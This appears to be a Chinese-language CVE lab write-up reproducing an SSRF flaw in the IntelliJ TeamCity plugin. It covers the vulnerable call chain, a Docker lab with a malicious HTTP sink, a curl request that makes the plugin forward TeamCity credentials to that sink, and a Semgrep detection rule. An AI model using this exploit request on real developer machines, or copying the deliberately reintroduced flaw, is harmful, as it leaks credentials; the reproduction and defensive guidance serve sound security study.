免责声明 下面说明的脆弱行为是通过对反编译后的补丁版工件进行经验性验证得出的,该行为试图通过启发式方法模拟原始漏洞,因为原始的漏洞插件版本已不再可用。本仓库包含一个压缩包,其中包含一个经过最小修改的构建(源自补丁版本),用于隔离的实验室复现。
此 CVE 涉及 IntelliJ IDEA TeamCity 集成插件,该插件实现 IDE 与 TeamCity 的集成。TeamCity 是一个 CI/CD 编排器和归档系统,存储构建配置和其他工件,并通过 REST/RPC API 暴露。
该插件在本地打开几个 HTTP 端点,在常见场景下,这些端点由插件添加到 GUI 的组件调用。在观察到的设置中,此本地服务器未实现访问控制层,实际上充当了 IDE 与 TeamCity 服务器之间的中间件。
插件服务端请求处理器接受 URL 中的用户可控参数,并在未充分验证(CWE-918)的情况下使用它构建一个补丁下载 URL。然后插件向该精心构造的 URL 发起 HTTP GET 请求,携带已登录用户的认证头(包含 TeamCity 凭据),因为 TeamCity 暴露了 REST/RPC API。 假设攻击者能够到达开发者主机(例如通过钓鱼、XSS),则可执行 SSRF(CAPEC-6634)攻击,迫使插件向攻击者控制的主机发起请求,该主机监听在用户控制的参数中编码的端点,从而导致凭据泄露。这为例如立足或横向移动创造了条件。
Connection.run() → Connection.doHandle()
获取请求 URI 和参数,解析为 params 映射(包括 file 参数)ActivatorBase.handle(res, params, ...) — res == "/patch" 触发 handleLoadPatch(params)handleLoadPatch 调度工作并最终调用 UrlUtil.createUrl(params, serverUrl) — 这是我修改为存在漏洞的组件,file 值被直接插入为 URL 的 scheme:address/path 部分,未经任何验证,其他参数被追加ActivatorBase.downloadPatch(patchUrl, username, password) 创建一个带有 UsernamePasswordCredentials 的 HttpClient,并调用 client.executeMethod(get),实际网络请求发往 patchUrl我的设置:TeamCity 2020.2.1,IntelliJ IDEA Community 2018.1.8,主机:ARM64 Kali Linux 2025.3。所有容器处于气隙环境中。
(可选)创建一个隔离的 Docker 网络
docker network create tc-nec
下载并启动 IntelliJ IDEA,创建一个任意类型的临时项目。加载以 zip 文件形式提供的扩展。
构建并启动 TeamCity 服务器容器:相关工件在 tc-server 文件夹中提供,通过 TeamCity 仪表板创建一个临时的 TeamCity 环境和一个用户。
docker build -t lab-teamcity ./pocartifacts/tc-server
docker run -d --name lab-teamcity \
--network tc-net \
-p 127.0.0.1:8111:8111 \
lab-teamcity
构建并启动恶意 HTTP 接收服务器: 相关工件在 http-listener 文件夹中提供。
docker build -t lab-sink ./pocartifacts/http-listener
docker run -d --name lab-sink \
--network tc-net \
-p 127.0.0.1:8000:8000 \
lab-sink
(可选)启用插件的跟踪级别日志以进行细粒度执行分析:IDE 图形界面 → 搜索调试日志设置 → 添加行 #jetbrains.buildServer.activation → 重启 IDE
连接到本地 TeamCity 服务器:设置 → 工具 → TeamCity → 添加服务器,指向 http://127.0.0.1:8111,使用创建的用户登录。
发送以下请求:
curl -Is http://localhost:63330/path?file=http://localhost:8000/&modId=&personal=false
接收服务器记录到插件 HTTP 请求:
docker exec lab-sink "cat sink.log"
首先,我建议在 SDLC 中左移安全性,通过指定可量化且可实施的安全需求,以 OWASP ASVS 需求为指南,对其进行分支并仅采用与应用程序需求相关的代码相关需求。应用安全专家应将这些需求映射到特定的代码组件甚至单个代码片段。开发人员应接受培训,了解如何实现这些安全需求:了解其语言/框架的内置安全机制。他们应共同制定一个矩阵,将每个需求映射到所属的包、类或函数,并列出相关的验收检查(单元测试、SAST 规则),这将确保代码库符合分支的 ASVS 集合。
在整个交付流程中必须集成多个安全审查关口。 从开发人员的机器上直接通过 IDE 插件和预提交 git 钩子,到 CI 管道的全面扫描和定制化环境(持续部署)中的基于模糊测试的 DAST。任何错误都应导致构建/交付失败。这些扫描产生的数据应不断汇总、审查,以完善流程并消除误报/漏报。
以下是一个示例 Semgrep 规则,用于检测 Java 中使用 http-client 库(本插件所用)构建 URL 时缺少用户可控参数清理的情况。
rules:
- id: java-ssrf-url-from-params
patterns:
- pattern-either:
- pattern: |
$A = params.get($P)
...
$URLSTRING = $A + $REST
...
new URL($URLSTRING)
- pattern: |
$A = request.getParameter($P)
...
$URLSTRING = $PREFIX + $A + $SUFFIX
...
new URL($URLSTRING)
- pattern: new URL(params.get($P))
- pattern: new URL(request.getParameter($P))
- pattern-not: "// semgrep:skip"
message: |
Possible SSRF / unsafe URL construction: URL is built from request parameters without validation.
Validate/whitelist scheme and host; canonicalize path; do not forward credentials to untrusted hosts.
languages: [java]
severity: ERROR
metadata:
cwe: "CWE-918"
tags: ["security", "ssrf", "input-validation"]